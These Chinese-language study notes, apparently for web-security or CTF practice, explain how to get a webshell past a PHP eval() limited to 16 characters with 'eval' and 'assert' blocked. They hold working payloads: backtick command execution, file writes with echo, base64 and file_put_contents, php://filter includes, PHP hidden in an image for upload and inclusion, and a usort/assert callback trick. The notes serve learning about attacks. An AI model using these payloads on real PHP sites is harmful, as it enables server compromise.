EVAL長度限制突破方法
<?php
$param = $_REQUEST['param'];
If (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false) //長度小于17,沒有eval和assert關鍵字
{eval($param);
}
//stripos — 查找字符串首次出現的位置(不區分大小寫)
eval函數參數限制在16個字符的情況下,如何拿到Webshell?
`$_GET[1]’
相似答案:
exec($_GET[1]);
linux下反引號可以執行命令
?param=echo $_GET[0]
;&0=id
那么就可以寫一些內容到一些文件里去
再訪問一下
param=echo%20$_GET[0]
;&0=param=echo $_GET[0]
;&0=echo ‘<?php phpinfo();’ > a.php
寫入成功
也可以使用base64編碼寫入:echo PD9waHAgcGhwaW5mbygpOw | base64 -d > aa.php
param=$_GET1;
param=$_GET[1](N,P,8); &1=file_put_contents //file_put_contents將數據寫入文件
......
最后把PD9waHAgcGhwaW5mbygpOw寫進文件N。
那怎么解碼執行呢?
param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
read讀取N里面的內容進行base64解碼。雖然N不是php文件,但是文件包含可以把任意一個文件里面的php代碼執行起來php:// — 訪問各個輸入/輸出流(I/O streams)
php://filter是一種元封裝器, 設計用于數據流打開時的篩選過濾應用。(可用的過濾器:字符串過濾器、轉換過濾器、壓縮過濾器、加密過濾器)
這里用轉換過濾器:convert.base64-encode 和 convert.base64-decode。使用這兩個過濾器等同于分別用 base64_encode() 和 base64_decode() 函數處理所有的流數據。
文件包含
找一張普通圖片
寫一個php文件
copy /b 001.png + web.php /a web.jpg----------/b → 表示以二進制模式處理 001.png
? + → 表示合并文件。
? web.php→ 第二個文件。
? /a→ 表示以 ASCII 文本模式 處理 web.php。
? web.jpg → 最終輸出的文件名。
web.jpg可以正常打開看到圖片,使用記事本打開圖片,可以在文件的最后看到寫入的php代碼。
很多網站都有上傳圖片的功能(上傳頭像等),上傳之后檢查代碼就可以看到上傳的路徑,用include_$GET[‘文件路徑’]就可以了。
文件包含可以把任意一個文件里面的php代碼執行起來
usort(…$_GET);
?1[]=test&1[]=phpinfo();&2=assert
在windows上訪問
使用BurpSuite抓包
抓到之后發送給Repeater,然后轉換為POST
在php的整體運行流程中允許POST和GET同步執行
(…$_GET(變長參數))把1[]=test&1[]=phpinfo();&2=assert接過來了,然后就放到usort中,一個數組,一個回調函數。
發送